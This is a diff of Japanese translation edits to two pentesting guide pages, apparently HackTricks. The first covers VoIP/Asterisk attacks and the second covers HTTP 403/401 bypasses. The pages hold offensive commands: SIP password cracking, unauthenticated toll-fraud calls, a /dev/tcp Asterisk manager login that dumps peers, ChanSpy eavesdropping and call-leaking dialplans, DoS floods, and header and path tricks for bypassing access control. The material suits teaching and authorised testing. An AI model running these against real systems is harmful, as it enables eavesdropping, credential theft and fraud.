10.10.0.10 @@ -281,7 +273,7 @@ enumiax -v -m3 -M3 10.10.0.10 svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` -- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrackは、SIPサービス用のリモートパスワードクラッカーです。Rcrackは、異なるIPおよびポート範囲で複数のユーザーのパスワードをテストできます。 +- **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrackは、SIPサービス用のリモートパスワードクラッカーです。Rcrackは、異なるIPおよびポート範囲の複数のユーザーのパスワードをテストできます。 ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` @@ -291,21 +283,21 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ### VoIP スニッフィング -**オープン Wifi ネットワーク**内に VoIP 機器が見つかった場合、**すべての情報をスニッフィング**することができます。さらに、より閉じたネットワーク(Ethernet 経由または保護された Wifi に接続)内にいる場合、**PBX とゲートウェイ**の間で **MitM 攻撃**(例えば、[**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing))を実行して情報をスニッフィングすることができます。 +**オープンWifiネットワーク**内にVoIP機器を見つけた場合、**すべての情報をスニッフィング**することができます。さらに、より閉じたネットワーク(Ethernet経由または保護されたWifiに接続)内にいる場合、**PBXとゲートウェイ**の間で**MitM攻撃**(例えば、[**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing))を実行して情報をスニッフィングすることができます。 -ネットワーク情報の中には、機器を管理するための**ウェブ認証情報**、ユーザーの**内線番号**、**ユーザー名**、**IP** アドレス、さらには**ハッシュ化されたパスワード**や**RTP パケット**が含まれており、これを再生して**会話を聞く**ことができます。 +ネットワーク情報の中には、機器を管理するための**ウェブ認証情報**、ユーザーの**内線番号**、**ユーザー名**、**IP**アドレス、さらには**ハッシュ化されたパスワード**や**RTPパケット**が含まれており、これを再生して**会話を聞く**ことができます。 -この情報を取得するために、Wireshark や tcpdump などのツールを使用できますが、**VoIP 会話をスニッフィングするために特別に作成されたツールは** [**ucsniff**](https://github.com/Seabreg/ucsniff) です。 +この情報を取得するために、Wiresharkやtcpdumpなどのツールを使用できますが、**VoIP会話をスニッフィングするために特別に作成されたツールは**[**ucsniff**](https://github.com/Seabreg/ucsniff)です。 > [!CAUTION] -> **SIP 通信に TLS が使用されている**場合、SIP 通信をクリアで見ることはできません。\ -> **SRTP** および **ZRTP** が使用されている場合も同様で、**RTP パケットはクリアテキストではありません**。 +> **SIP通信にTLSが使用されている**場合、SIP通信をクリアで見ることはできません。\ +> **SRTP**や**ZRTP**が使用されている場合も同様で、**RTPパケットはクリアテキストではありません**。 #### SIP 認証情報(パスワードブルートフォース - オフライン) -[**SIP REGISTER 通信**をよりよく理解するためのこの例を確認してください](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) で、**認証情報がどのように送信されるか**を学びます。 +[**SIP REGISTER通信**をよりよく理解するためのこの例を確認してください](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) **認証情報がどのように送信されるか**を学ぶために。 -- **`sipdump`** と **`sipcrack`**、**sipcrack** の一部(`apt-get install sipcrack`):これらのツールは、SIP プロトコル内の**ダイジェスト認証**を**pcap**から**抽出**し、**ブルートフォース**することができます。 +- **`sipdump`** & **`sipcrack`,** **sipcrack**の一部(`apt-get install sipcrack`):これらのツールは、SIPプロトコル内の**ダイジェスト認証**を**pcap**から**抽出**し、**ブルートフォース**することができます。 ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt @@ -340,18 +332,18 @@ host=dynamic ユーザーを定義するには、次のように定義できます: -- **`type=user`**: ユーザーはユーザーとしてのみ通話を受けることができます。 -- **`type=friend`**: ピアとして通話を行い、ユーザーとして受けることが可能です(拡張機能と共に使用)。 +- **`type=user`**: ユーザーはユーザーとしてのみ通話を受け取ることができます。 +- **`type=friend`**: ピアとして通話を行い、ユーザーとして受け取ることが可能です(拡張機能と共に使用)。 - **`type=peer`**: ピアとして通話を送受信することが可能です(SIPトランク)。 不正な変数を使用して信頼を確立することも可能です: - **`insecure=port`**: IPによって検証されたピア接続を許可します。 -- **`insecure=invite`**: INVITEメッセージの認証を必要としません。 +- **`insecure=invite`**: INVITEメッセージに対する認証を必要としません。 - **`insecure=port,invite`**: 両方。 > [!WARNING] -> **`type=friend`**が使用されると、**host**変数の**値**は**使用されません**。したがって、管理者がその値を使用して**SIPトランクを誤って設定**すると、**誰でも接続できるようになります**。 +> **`type=friend`**が使用されると、**host**変数の**値**は**使用されません**。したがって、管理者がその値を使用して**SIPトランクを誤設定**すると、**誰でも接続できるようになります**。 > > 例えば、この設定は脆弱です:\ > `host=10.10.10.10`\ @@ -360,13 +352,13 @@ host=dynamic ### 無料通話 / Asteriskコンテキストの誤設定 -Asteriskにおいて、**コンテキスト**はダイヤルプラン内の関連する拡張機能、アクション、ルールを**グループ化する**名前付きコンテナまたはセクションです。ダイヤルプランはAsteriskシステムのコアコンポーネントであり、**着信および発信通話がどのように処理され、ルーティングされるかを定義します**。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分間の分離を提供するために使用されます。 +Asteriskにおいて、**コンテキスト**はダイヤルプラン内の関連する拡張機能、アクション、およびルールを**グループ化する**名前付きコンテナまたはセクションです。ダイヤルプランはAsteriskシステムのコアコンポーネントであり、**着信および発信通話がどのように処理され、ルーティングされるかを定義します**。コンテキストはダイヤルプランを整理し、アクセス制御を管理し、システムの異なる部分間の分離を提供するために使用されます。 -各コンテキストは設定ファイル、通常は**`extensions.conf`**ファイルで定義されます。コンテキストは角括弧で示され、その中にコンテキスト名が含まれます。例えば: +各コンテキストは設定ファイル、通常は**`extensions.conf`**ファイルで定義されます。コンテキストは角括弧で示され、コンテキスト名がその中に囲まれています。例えば: ```bash csharpCopy code[my_context] ``` -コンテキスト内では、拡張機能(ダイヤルされた番号のパターン)を定義し、それを一連のアクションやアプリケーションに関連付けます。これらのアクションは、通話がどのように処理されるかを決定します。例えば: +コンテキスト内で、拡張子(ダイヤルされた番号のパターン)を定義し、それを一連のアクションやアプリケーションに関連付けます。これらのアクションは、通話がどのように処理されるかを決定します。例えば: ```scss [my_context] exten => 100,1,Answer() @@ -375,7 +367,7 @@ exten => 100,n,Hangup() ``` この例は、「my_context」というシンプルなコンテキストと「100」という拡張を示しています。誰かが100をダイヤルすると、通話が応答され、ウェルカムメッセージが再生され、その後通話が終了します。 -これは、**他の任意の番号に呼び出すことを許可する** **別のコンテキスト**です: +これは**別のコンテキスト**で、**他の任意の番号に電話をかける**ことができます: ```scss [external] exten => _X.,1,Dial(SIP/trunk/${EXTEN}) @@ -392,9 +384,9 @@ include => external > [!CAUTION] > さらに、デフォルトで**`sip.conf`**ファイルには**`allowguest=true`**が含まれているため、**認証なし**の**任意の**攻撃者が他の番号に電話をかけることができます。 -- **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS inviteは、**PBXサーバーが認証なしで通話を行うことを許可しているかどうかを確認します**。SIPサーバーに不正な設定がある場合、外部番号に電話をかけることができます。また、通話を第二の外部番号に転送することも可能です。 +- **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS inviteは、**PBXサーバーが認証なしで通話を許可しているかどうかを確認します**。SIPサーバーに不正な設定がある場合、外部番号への通話を許可します。また、通話を第二の外部番号に転送することも可能です。 -例えば、Asteriskサーバーに不適切なコンテキスト設定がある場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても通話を行うことができます。 +例えば、Asteriskサーバーに不適切なコンテキスト設定がある場合、認証なしでINVITEリクエストを受け入れることができます。この場合、攻撃者はユーザー名やパスワードを知らなくても通話をかけることができます。 ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v @@ -402,17 +394,17 @@ sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v # Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444. sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` -### 無料通話 / 設定ミスのIVRS +### 無料通話 / 誤設定されたIVRS -IVRSは**インタラクティブ音声応答システム**の略で、ユーザーが音声またはトーン入力を通じてコンピュータ化されたシステムと対話することを可能にする電話技術です。IVRSは、情報提供、通話のルーティング、ユーザー入力の取得など、さまざまな機能を提供する**自動通話処理**システムを構築するために使用されます。 +IVRSは**インタラクティブ音声応答システム**を指し、ユーザーが音声またはトーン入力を通じてコンピュータ化されたシステムと対話することを可能にする電話技術です。IVRSは、情報提供、通話のルーティング、ユーザー入力の取得など、さまざまな機能を提供する**自動通話処理**システムを構築するために使用されます。 VoIPシステムにおけるIVRSは通常、以下で構成されています: 1. **音声プロンプト**:ユーザーをIVRメニューオプションや指示に導くための事前録音された音声メッセージ。 2. **DTMF**(デュアルトーン多周波数)信号:電話のキーを押すことによって生成されるトーン入力で、IVRメニューをナビゲートし、入力を提供するために使用されます。 3. **通話ルーティング**:ユーザー入力に基づいて、特定の部門、エージェント、または内線など、適切な宛先に通話を直接送信します。 -4. **ユーザー入力の取得**:呼び出し者からの情報を収集します。例えば、アカウント番号、ケースID、またはその他の関連データなどです。 -5. **外部システムとの統合**:IVRシステムをデータベースや他のソフトウェアシステムに接続し、情報にアクセスまたは更新し、アクションを実行したり、イベントをトリガーしたりします。 +4. **ユーザー入力の取得**:呼び出し者からの情報を収集します。たとえば、アカウント番号、ケースID、またはその他の関連データなどです。 +5. **外部システムとの統合**:IVRシステムをデータベースや他のソフトウェアシステムに接続して、情報にアクセスまたは更新し、アクションを実行したり、イベントをトリガーしたりします。 Asterisk VoIPシステムでは、ダイヤルプラン(**`extensions.conf`**ファイル)と`Background()`、`Playback()`、`Read()`などのさまざまなアプリケーションを使用してIVRを作成できます。これらのアプリケーションは、音声プロンプトを再生し、ユーザー入力を取得し、通話の流れを制御するのに役立ちます。 @@ -424,12 +416,12 @@ exten => 0,102,GotoIf("$[${numbers}"="2"]?300) exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` -前の例では、ユーザーに**1を押して**部門に電話するように、**2を押して**別の部門に電話するように、または知っている場合は**完全な内線番号**を入力するように求められます。\ +前の例では、ユーザーに**1を押して**部門に電話をかけるように、**2を押して**別の部門に電話をかけるように、または知っている場合は**完全な内線番号**を入力するように求められます。\ 脆弱性は、指定された**内線番号の長さがチェックされない**ため、ユーザーが5秒のタイムアウトを持つ完全な番号を入力すると、それが呼び出される可能性があることです。 -### 内線インジェクション +### 内線番号インジェクション -内線を使用して: +内線番号を使用して: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` @@ -441,11 +433,11 @@ exten => 101,1,Dial(SIP/101) ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` -したがって、拡張子 **`101`** と **`123123123`** への呼び出しが送信され、最初のものだけが接続されます... しかし、攻撃者が存在しないが **一致をバイパスする拡張子** を使用した場合、彼は **望ましい番号にのみ呼び出しを注入することができる** 可能性があります。 +したがって、拡張子 **`101`** と **`123123123`** への呼び出しが送信され、最初のものだけが接続されます... しかし、攻撃者が存在しないが **マッチをバイパスする拡張子** を使用した場合、彼は **望ましい番号への呼び出しを注入することができる** 可能性があります。 ## SIPDigestLeak 脆弱性 -SIP Digest Leak は、多くの SIP 電話、ハードウェアおよびソフトウェアの IP 電話、電話アダプタ(VoIP からアナログ)を含む脆弱性です。この脆弱性は、パスワードから計算される **Digest 認証応答の漏洩** を可能にします。これにより **オフラインパスワード攻撃が可能** になり、チャレンジ応答に基づいてほとんどのパスワードを回復できます。 +SIP Digest Leak は、多くの SIP 電話、ハードウェアおよびソフトウェアの IP 電話、電話アダプタ(VoIP からアナログ)を含む脆弱性です。この脆弱性は、パスワードから計算される **Digest 認証応答の漏洩** を可能にします。その結果、**オフラインパスワード攻撃が可能になり**、チャレンジ応答に基づいてほとんどのパスワードを回復できます。 **[脆弱性シナリオはこちらから**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): @@ -457,7 +449,7 @@ SIP Digest Leak は、多くの SIP 電話、ハードウェアおよびソフ 6. **被害者の電話は、2 回目の BYE で認証チャレンジに対する応答を提供します** 7. **攻撃者は、ローカルマシン(または分散ネットワークなど)でチャレンジ応答に対してブルートフォース攻撃を実行し**、パスワードを推測できます -- **SIPPTS 漏洩** は [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 漏洩は、多くの SIP 電話に影響を与える SIP Digest Leak 脆弱性を悪用します。出力は SipCrack 形式で保存でき、SIPPTS dcrack または SipCrack ツールを使用してブルートフォース攻撃を行うことができます。 +- **SIPPTS 漏洩** は [**sippts**](https://github.com/Pepelux/sippts)** から:** SIPPTS 漏洩は、多くの SIP 電話に影響を与える SIP Digest Leak 脆弱性を悪用します。出力は SipCrack 形式で保存でき、SIPPTS dcrack または SipCrack ツールを使用してブルートフォース攻撃を行うことができます。 ```bash sippts leak -i 10.10.0.10 @@ -493,9 +485,9 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` - 前のプロファイルは**任意のIPアドレスが接続することを許可しています**(パスワードが知られている場合)。 -- **通話を組織するためには**、前述のように、**読み取り権限は必要ありません**、**必要なのは** **書き込み**の**発信**のみです。 +- **通話を組織するためには**、前述のように、**読み取り権限は必要ありません**、そして**書き込み**で**発信**するだけで十分です。 -これらの権限があれば、パスワードを知っている任意のIPが接続し、過剰な情報を抽出することができます。例えば: +これらの権限があれば、パスワードを知っている任意のIPが接続し、次のような過剰な情報を抽出することができます: ```bash # Get all the peers exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 @@ -504,13 +496,13 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr ### **盗聴** -Asteriskでは、**`ChanSpy`** コマンドを使用して、**監視する内線**(またはすべての内線)を指定することで、行われている会話を聞くことができます。このコマンドは内線に割り当てる必要があります。 +Asteriskでは、**`ChanSpy`** コマンドを使用して、**監視する内線番号**(またはすべて)を指定することで、行われている会話を聞くことができます。このコマンドは内線番号に割り当てる必要があります。 -例えば、**`exten => 333,1,ChanSpy('all',qb)`** は、**内線 333** に**電話**をかけると、**すべての**内線を**監視**し、新しい会話が始まるときに**聞き始め**(**`b`**)、静かなモード(**`q`**)で行います。これは、私たちがその会話に干渉したくないからです。**`*`** を押すか、内線番号を入力することで、行われている会話から別の会話に移動することができます。 +例えば、**`exten => 333,1,ChanSpy('all',qb)`** は、**内線番号 333** に**電話をかける**と、**`all`** の内線を**監視**し、新しい会話が始まるときに**聞き始め**(**`b`**)、静かなモード(**`q`**)で行います。これは、私たちがその会話に干渉したくないためです。**`*`** を押すか、内線番号を入力することで、行われている会話から別の会話に移動することができます。 -特定の内線のみを監視するために、**`ExtenSpy`** を使用することも可能です。 +特定の内線番号のみを監視するために、**`ExtenSpy`** を使用することも可能です。 -会話を聞く代わりに、内線を使用して**ファイルに録音する**こともできます。 +会話を聞く代わりに、内線番号を使用して**ファイルに録音する**こともできます。 ```scss [recorded-context] exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) @@ -518,23 +510,23 @@ exten => _X.,2,MixMonitor(${NAME}) ``` 通話は **`/tmp`** に保存されます。 -Asteriskが通話が終了したときに**通話を漏洩させるスクリプトを実行する**こともできます。 +Asteriskが終了するときに通話を**漏洩させるスクリプトを実行させる**こともできます。 ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` ### RTCPBleed 脆弱性 -**RTCPBleed** は、Asterisk ベースの VoIP サーバーに影響を与える重大なセキュリティ問題です(2017年に公開)。この脆弱性により、VoIP 会話を運ぶ **RTP (Real Time Protocol) トラフィック** が **インターネット上の誰でも傍受およびリダイレクトできる** ようになります。これは、RTP トラフィックが NAT (Network Address Translation) ファイアウォールを通過する際に認証をバイパスするために発生します。 +**RTCPBleed** は、Asterisk ベースの VoIP サーバーに影響を与える重大なセキュリティ問題です(2017年に公開)。この脆弱性により、VoIP 会話を運ぶ **RTP (リアルタイムプロトコル) トラフィック** が **インターネット上の誰でも傍受され、リダイレクトされる** 可能性があります。これは、RTP トラフィックが NAT (ネットワークアドレス変換) ファイアウォールを通過する際に認証をバイパスするために発生します。 -RTP プロキシは、2 つ以上の当事者間で RTP ストリームをプロキシすることによって RTC システムに影響を与える **NAT の制限** に対処しようとします。NAT が存在する場合、RTP プロキシソフトウェアは、しばしば信号(例:SIP)を通じて取得された RTP IP およびポート情報に依存できません。したがって、いくつかの RTP プロキシは、そのような **IP およびポートのタプルを自動的に学習する** メカニズムを実装しています。これは、受信した RTP トラフィックを検査し、受信した RTP トラフィックのソース IP およびポートを応答すべきものとしてマークすることによって行われます。このメカニズムは「学習モード」と呼ばれることがあり、**いかなる種類の認証も使用しません**。したがって、**攻撃者** は **RTP トラフィックを RTP プロキシに送信し、進行中の RTP ストリームの発信者または受信者に送信されるべきプロキシされた RTP トラフィックを受け取る** ことができます。この脆弱性を RTP Bleed と呼ぶのは、攻撃者が正当なユーザーに送信されるべき RTP メディアストリームを受け取ることを可能にするからです。 +RTP プロキシは、2 つ以上の当事者間で RTP ストリームをプロキシすることによって RTC システムに影響を与える **NAT の制限** に対処しようとします。NAT が存在する場合、RTP プロキシソフトウェアは、しばしばシグナリング (例: SIP) を通じて取得された RTP IP およびポート情報に依存できません。したがって、いくつかの RTP プロキシは、そのような **IP およびポートのタプルを自動的に学習する** メカニズムを実装しています。これは、受信した RTP トラフィックを検査し、受信した RTP トラフィックのソース IP およびポートを応答すべきものとしてマークすることによって行われます。このメカニズムは「学習モード」と呼ばれることがあり、**いかなる種類の認証も使用しません**。したがって、**攻撃者** は **RTP トラフィックを RTP プロキシに送信し、進行中の RTP ストリームの発信者または受信者に送信されるべきプロキシされた RTP トラフィックを受け取る** ことができます。この脆弱性を RTP Bleed と呼ぶのは、攻撃者が正当なユーザーに送信されるべき RTP メディアストリームを受け取ることを可能にするからです。 -RTP プロキシおよび RTP スタックのもう一つの興味深い挙動は、時には **RTP Bleed に対して脆弱でなくても**、**任意のソースからの RTP パケットを受け入れ、転送および/または処理する** ことです。したがって、攻撃者は正当なメディアの代わりに自分のメディアを注入できる RTP パケットを送信できます。この攻撃を RTP 注入と呼ぶのは、既存の RTP ストリームに不正な RTP パケットを注入できるからです。この脆弱性は、RTP プロキシとエンドポイントの両方に見られる可能性があります。 +RTP プロキシおよび RTP スタックのもう一つの興味深い挙動は、時には **RTP Bleed に対して脆弱でなくても**、**任意のソースからの RTP パケットを受け入れ、転送し、または処理する** ことです。したがって、攻撃者は、正当なメディアの代わりに自分のメディアを注入することを可能にする RTP パケットを送信できます。この攻撃を RTP 注入と呼ぶのは、既存の RTP ストリームに不正な RTP パケットを注入することを可能にするからです。この脆弱性は、RTP プロキシとエンドポイントの両方に見られる可能性があります。 -Asterisk と FreePBX は伝統的に **`NAT=yes` 設定** を使用しており、これにより RTP トラフィックが認証をバイパスし、通話で音声がないか一方向の音声になる可能性があります。 +Asterisk と FreePBX は、伝統的に **`NAT=yes` 設定** を使用しており、これにより RTP トラフィックが認証をバイパスし、通話で音声がないか、一方向の音声になる可能性があります。 詳細については [https://www.rtpbleed.com/](https://www.rtpbleed.com/) を確認してください。 -- **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed は RTP ストリームを送信することによって RTP Bleed 脆弱性を検出します。 +- **`SIPPTS rtpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed は、RTP ストリームを送信することによって RTP Bleed 脆弱性を検出します。 ```bash sippts rtpbleed -i 10.10.0.10 ``` @@ -563,23 +555,23 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) #### 興味深いローカルファイルと権限 -- **`sip.conf`** -> SIPユーザーのパスワードを含む。 +- **`sip.conf`** -> SIPユーザーのパスワードを含みます。 - **Asteriskサーバーがrootとして実行されている場合**、rootを侵害する可能性があります。 -- **mysql rootユーザー**は**パスワードを持っていない可能性があります**。 +- **mysql rootユーザー**は**パスワードを持っていない**かもしれません。 - これを使用して新しいmysqlユーザーをバックドアとして作成できます。 - **`FreePBX`** -- **`amportal.conf`** -> ウェブパネル管理者(FreePBX)のパスワードを含む。 -- **`FreePBX.conf`** -> データベースにアクセスするために使用されるFreePBXuserのパスワードを含む。 +- **`amportal.conf`** -> ウェブパネル管理者(FreePBX)のパスワードを含みます。 +- **`FreePBX.conf`** -> データベースにアクセスするために使用されるFreePBXuserのパスワードを含みます。 - これを使用して新しいmysqlユーザーをバックドアとして作成できます。 - **`Elastix`** -- **`Elastix.conf`** -> mysql rootパス、IMAPdパス、ウェブ管理者パスなどのクリアテキストのパスワードを含む。 -- **いくつかのフォルダー**は、侵害されたasteriskユーザーに属します(rootとして実行されていない場合)。このユーザーは前述のファイルを読み取ることができ、設定を制御することもできるため、Asteriskが実行時に他のバックドアバイナリを読み込むようにすることができます。 +- **`Elastix.conf`** -> mysql rootパス、IMAPdパス、ウェブ管理者パスなどのクリアテキストのパスワードを含みます。 +- **いくつかのフォルダー**は侵害されたasteriskユーザーに属します(rootとして実行されていない場合)。このユーザーは前述のファイルを読み取ることができ、設定を制御することもできるため、Asteriskが実行時に他のバックドア付きバイナリを読み込むようにすることができます。 ### RTPインジェクション **`rtpinsertsound`**(`sudo apt install rtpinsertsound`)や**`rtpmixsound`**(`sudo apt install rtpmixsound`)などのツールを使用して、会話に**`.wav`**を挿入することが可能です。 -また、[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)からのスクリプトを使用して、会話を**スキャン**する(**`rtpscan.pl`**)、会話に**`.wav`**を送信する(**`rtpsend.pl`**)、会話に**ノイズを挿入**する(**`rtpflood.pl`**)ことができます。 +また、[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)からのスクリプトを使用して、会話を**スキャン**する(**`rtpscan.pl`**)、会話に**`.wav`**を送信する(**`rtpsend.pl`**)、会話に**ノイズを挿入**する(**`rtpflood.pl`**)こともできます。 ### DoS @@ -589,7 +581,7 @@ VoIPサーバーでDoSを達成するためのいくつかの方法がありま - `sippts flood -i 10.10.0.10 -m invite -v` - **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS pingはサーバーの応答時間を確認するためにSIP pingを行います。 - `sippts ping -i 10.10.0.10` -- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asteriskで使用されるDoS IAXプロトコル。 +- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asteriskで使用されるDoS IAXプロトコル - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP上でSIP/SDP INVITEメッセージの洪水を実行するツール。 - [**rtpflood**](https://www.kali.org/tools/rtpflood/): 正しく形成された複数のRTPパケットを送信します。使用されているRTPポートを知る必要があります(最初にスニッフィングしてください)。 - [**SIPp**](https://github.com/SIPp/sipp): SIPトラフィックを分析および生成することができます。したがって、DoSにも使用できます。 diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 749309085..18f659534 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -2,27 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -
+## HTTP 動詞/メソッドファジング -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** +ファイルにアクセスするために **異なる動詞** を使用してみてください: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## HTTP 動詞/メソッド ファジング - -ファイルにアクセスするために**異なる動詞**を使用してみてください: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` - -- レスポンスヘッダーを確認してください。情報が提供されるかもしれません。例えば、**HEAD**に対する**200レスポンス**が`Content-Length: 55`の場合、**HEAD動詞が情報にアクセスできる**ことを意味します。しかし、その情報を抽出する方法を見つける必要があります。 -- `X-HTTP-Method-Override: PUT`のようなHTTPヘッダーを使用すると、使用される動詞を上書きできます。 -- **`TRACE`**動詞を使用し、運が良ければレスポンスに**中間プロキシによって追加されたヘッダー**も表示されるかもしれません。 +- レスポンスヘッダーを確認してください。情報が提供されるかもしれません。例えば、**HEAD** に対する **200 レスポンス** が `Content-Length: 55` の場合、**HEAD 動詞が情報にアクセスできる**ことを意味します。しかし、その情報を抽出する方法を見つける必要があります。 +- `X-HTTP-Method-Override: PUT` のような HTTP ヘッダーを使用すると、使用される動詞を上書きできます。 +- **`TRACE`** 動詞を使用し、運が良ければレスポンスに **中間プロキシによって追加されたヘッダー** が表示されるかもしれません。 ## HTTP ヘッダー ファジング -- **Hostヘッダーを**任意の値に変更します([ここで機能した](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) -- [**他のユーザーエージェントを使用して**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)リソースにアクセスしてみてください。 -- **HTTPヘッダーをファジング**: HTTPプロキシ**ヘッダー**、HTTP認証ベーシックおよびNTLMブルートフォース(いくつかの組み合わせのみ)やその他の技術を試してください。これを行うために、[**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass)というツールを作成しました。 +- **Host ヘッダーを** 任意の値に変更します ([ここで動作した](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) +- [**他のユーザーエージェントを使用して**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) リソースにアクセスしてみてください。 +- **HTTP ヘッダーをファジング**: HTTP プロキシ **ヘッダー**、HTTP 認証の基本と NTLM ブルートフォース(いくつかの組み合わせのみ)およびその他の技術を試してみてください。これを行うために、[**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) というツールを作成しました。 - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` @@ -38,23 +30,23 @@ - `X-ProxyUser-Ip: 127.0.0.1` - `Host: localhost` -もし**パスが保護されている**場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください: +もし **パスが保護されている** 場合、これらの他のヘッダーを使用してパス保護をバイパスしてみてください: - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -- ページが**プロキシの背後にある**場合、プライベート情報へのアクセスを妨げているのはプロキシかもしれません。[**HTTPリクエストスムージング**](../../pentesting-web/http-request-smuggling/)**または**[**ホップバイホップヘッダー**](../../pentesting-web/abusing-hop-by-hop-headers.md)**を悪用してみてください。** -- [**特別なHTTPヘッダー**](special-http-headers.md)をファジングして異なるレスポンスを探します。 -- **HTTPメソッドをファジング**しながら**特別なHTTPヘッダーをファジング**します。 -- **Hostヘッダーを削除**すると、保護をバイパスできるかもしれません。 +- ページが **プロキシの背後にある** 場合、プライベート情報へのアクセスを妨げているのはプロキシかもしれません。[**HTTP リクエスト スマグリング**](../../pentesting-web/http-request-smuggling/) **または** [**hop-by-hop ヘッダー**](../../pentesting-web/abusing-hop-by-hop-headers.md)**を悪用してみてください。** +- [**特別な HTTP ヘッダーをファジング**](special-http-headers.md) し、異なるレスポンスを探します。 +- **HTTP メソッドをファジング** しながら **特別な HTTP ヘッダーをファジング** します。 +- **Host ヘッダーを削除** すると、保護をバイパスできるかもしれません。 ## パス **ファジング** -もし_/path_がブロックされている場合: +もし _/path_ がブロックされている場合: -- _**/**_**%2e/pathを使用してみてください(アクセスがプロキシによってブロックされている場合、これが保護をバイパスする可能性があります)。また、**\_\*\* /%252e\*\*/path(ダブルURLエンコード)を試してください** -- **Unicodeバイパス**を試してください:_/**%ef%bc%8f**path_(URLエンコードされた文字は「/」のようなものです)ので、再エンコードされると_//path_になり、すでに_/path_の名前チェックをバイパスしているかもしれません。 -- **他のパスバイパス**: +- _**/**_**%2e/path を使用してみてください _(アクセスがプロキシによってブロックされている場合、これで保護をバイパスできるかもしれません)。また、**\_\*\* /%252e\*\*/path (二重 URL エンコード) を試してみてください。_ +- **Unicode バイパスを試す**: _/**%ef%bc%8f**path_ (URL エンコードされた文字は "/" のようなものです) なので、再エンコードすると _//path_ になり、すでに _/path_ 名のチェックをバイパスしているかもしれません。 +- **他のパスバイパス**: - site.com/secret –> HTTP 403 Forbidden - site.com/SECRET –> HTTP 200 OK - site.com/secret/ –> HTTP 200 OK @@ -65,44 +57,44 @@ - site.com/.;/secret –> HTTP 200 OK - site.com//;//secret –> HTTP 200 